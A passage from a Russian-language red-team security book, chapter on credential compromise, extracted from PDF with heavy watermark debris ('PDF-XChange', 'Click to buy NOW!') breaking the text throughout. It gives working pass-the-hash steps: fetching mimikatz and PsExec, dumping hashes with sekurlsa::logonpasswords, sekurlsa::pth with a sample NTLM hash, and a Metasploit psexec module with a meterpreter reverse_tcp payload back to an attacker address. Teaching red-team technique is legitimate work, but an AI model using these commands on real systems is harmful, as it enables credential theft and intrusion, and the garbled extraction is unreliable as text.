hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

t

F

t

D

i

D

i

r

r

P

NOW!

o

P

NOW!

o

BUY

BUY

to

136    Охота на пользовательские реквизиты

to

w Click

w Click

m

m

w

w

w

o

w

o

.

g

.c

.

g

.c

p

p

df

n

e

df

n

e

-xcha

Обратитевнимание,чтовыполняетсяфайл.exe.Еслищелкнетегиперссылку

-x cha

для этой строки,то увидите,что этот исполняемый файл – cmd.exe, как показа- но на рис. 6.19.

Рис.6.19

Последний фрагмент декодирования этого отчета показывает действие Launch для исполняемого файла cmd.exe.

Атака Pass-the-hash

На этом этапе у вас есть доступ к cmd.exe, и оттуда вы можете запустить Power­ Shell с помощью команды start powershell –NoExit. Причина, по которой вы хо-

hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

t

F

t

D

i

D

i

r

r

P

NOW!

o

P

NOW!

o

BUY

Взлом реквизитов доступа пользователя    137to

BUY

to

w Click

m

w Click

m

w

w

w

o

w

o

.

g

.c

.

g

.c

p

p

df

n

e

df

n

e

тите запустить PowerShell, заключается в том, что вам нужно скачать mimikatz

-xcha

-x cha

с GitHub.

Для этого выполните следующую команду:

Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20170813/mi mikatz_trunk.zip" -OutFile "C:tempmimikatz_trunk.zip"

Также обязательно загрузите утилиту PsExec с сайта Sysinternals, поскольку она понадобится вам позже.

Для этого используйте команду из той же консоли PowerShell:

Invoke-WebRequest -Uri "https://download.sysinternals.com/files/PSTools.zip" -OutFile "C:tempPSTools.zip"

В консоли PowerShell используйте команду expand-archive -path, чтобы из- влечь содержимое из mimikatz_trunk.zip. Теперь можно запустить mimikatz. Од- нимизпервыхшаговявляетсяпроверка наличияупользователя,запускающе- го командную строку, привилегий администратора. Если они у него есть, при выполнении команды privilege::debug вы увидите результаты, показанные на рис. 6.20.

Рис.6.20

Следующий шаг – сброс всех активных пользователей, служб и связанных с ними хешей NTLM/SHA1. Это очень важный шаг, потому что он даст вам представление о количестве пользователей, которых вы можете попытаться скомпрометировать, чтобы продолжить свою миссию.

Для этого используйте команду sekurlsa::logonpasswords (рис. 6.21).

Еслинакомпьютережертвыустановленакакая-либоверсияWindows(вплоть до Windows 7), можно увидеть фактический пароль в виде открытого текста. Причина,покотороймыговорим«может»,заключаетсявтом,чтоеслинаэтом

				hang		e
			C				E
		X
	-						d
	F							t
	D							i
								r
P						NOW!		o
					BUY
				to		138    Охота на пользовательские реквизиты
w Click
									m
w
	w							o
	.						.c
		p					g
			df				e
						n
						компьютере установлено обновление MS16-014, Windows принудительно
				-xcha

лит утекшие учетные данные сессии авторизации через 30 с.

				hang		e
			C				E
		X
	-							d
	F								t
	D								i
									r
P						NOW!			o
					BUY
				to
w Click										m
w
	w								o
	.							.c
		p					g
			df			n		e
уда-
				-x cha

Рис.6.21

Продвигаясь вперед, вы можете выполнить атаку,т. к.теперь у вас есть хеш. Атаку можно осуществить в системе Windows, используя mimikatz и утилиту psexec (ту,что вы скачали ранее).В этом сценарии мы будем использовать сле- дующую команду в качестве примера:

sekurlsa::pth /user:yuri /domain:wdw7 /ntlm:4dbe35c3378750321e3f61945fa8c92a /run:".psexec \yuri -h cmd.exe"

Командная строка откроется в контексте этого конкретного пользователя. Если у этого пользователя есть права администратора, игра окончена. Атаку также можно осуществить из Metasploit на компьютере под управлением Kali. Последовательность команд показана следующим образом:

>use exploit/windows/smb/psexec

>set payload windows/meterpreter/reverse_tcp

>set LHOST 192.168.1.99

>set LPORT 4445

>set RHOST 192.168.1.15

>set SMBUser Yuri

>set SMBPass 4dbe35c3378750321e3f61945fa8c92a

Кактолькоэтишагибудутвыполнены,выполнитекомандуexploit ипосмот­ рите результаты (рис. 6.22).

Рис.6.22

hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

t

F

t

D

i

D

i

r

r

P

NOW!

o

P

NOW!

o

BUY

Резюме    139to

BUY

to

w Click

m

w Click

m

w

w

w

o

w

o

.

g

.c

.

g

.c

p

p

df

n

e

df

n

e

-xcha

Поскольку это всего лишь упражнение для Красной команды, его цель –до-

-x cha

казать, что система уязвима для атак такого типа. Обратите внимание, что мы не взламывали данные, а только показали, насколько уязвима вся защита идентификационных данных.

Другие способы взлома реквизитов доступа

Хотя можно с уверенностью сказать, что большой ущерб можно нанести с по- мощью трех упомянутых ранее подходов, также можно утверждать, что су­ ществует еще больше способов взлома реквизитов доступа.

Красная команда может использовать облачную инфраструктуру в качестве цели для атаки. Утилита Nimbostratus от Андреса Рианчо – отличный ресурс для проведения атаки на инфраструктуру Amazon Cloud.

Будучи членом Красной команды, вы также можете столкнуться с необхо- димостью осуществить атаки на гипервизор (VMWare или Hyper-V). Для этого типаатакивыможетевоспользоватьсяPowerMemory(https://github.com/giMini/

PowerMemory/).

Справочные материалы

1.Stealing Windows Credentials Using Google Chrome. http://defensecode.com/ news_article.php?id=21.

2.Russian hackers selling login credentials of UK politicians, diplomats – report. https://www.theregister.co.uk/2017/06/23/russian_hackers_trade_login_credentials/.

3.Botnet-as-a-Service is For Sale this Cyber Monday! https://www.zingbox.com/ blog/botnet-as-a-service-is-for-sale-this-cyber-monday/.

4.How Anywhere Computing Just Killed Your Phone-Based Two-Factor Authenti- cation. http://fc16.ifca.ai/preproceedings/24_Konoth.pdf.

5.Attackers Hit Weak Spots in 2-Factor Authentication. https://krebsonsecurity. com/2012/06/attackers-target-weak-spots-in-2-factor-authentication/.

6.Microsoft Windows CVE-2017-8563 Remote Privilege Escalation Vulnerability. https://www.symantec.com/security_response/vulnerability.jsp?bid=99402.

7.Pass-The-Hash Toolkit. https://www.coresecurity.com/corelabs-research-special/ open-source-tools/pass-hash-toolkit.

8.Nimbostratus Tool. http://andresriancho.github.io/nimbostratus/.

9.How activist DeRay Mckesson's Twitter account was hacked. https://techcrunch. com/2016/06/10/how-activist-deray-mckessonstwitter-account-was-hacked/.

Резюме

В этой главе вы узнали о важности личности для общего состояния безопасно- сти организации, различных стратегиях компрометации реквизитов доступа пользователя,которыемогутиспользоватьсяКраснойкомандой.Узнавбольше

hang

e

hang

e

C

E

C

E

X

X

-

d

-

d

F

t

F

t

D

i

D

i

r

r

P

NOW!

o

P

NOW!

o

BUY

BUY

to

140    Охота на пользовательские реквизиты

to

w Click

w Click

m

m

w

w

w

o

w

o

.

g

.c

.

g

.c

p

p

df

n

e

df

n

e

о нынешнем ландшафте угроз, потенциальных противниках и о том, как они

-xcha

-x cha

действуют,вы можете создать болееточное упражнение для атаки,чтобы про- тестировать средства контроля над безопасностью. Вы узнали об атаках мето- дом полного перебора,социальной инженерии с использованием фреймворка SET от проекта Kali, передаче хеша и о том, как можно применить эти атаки для осуществления дальнейшего распространения по сети, чтобы выполнить свою миссию.

В следующей главе вы узнаете больше о дальнейшем распространении, о том, как Красная команда будет использовать образ мыслей хакера, чтобы продолжить свою миссию по построению карты сети и уходу от оповещений.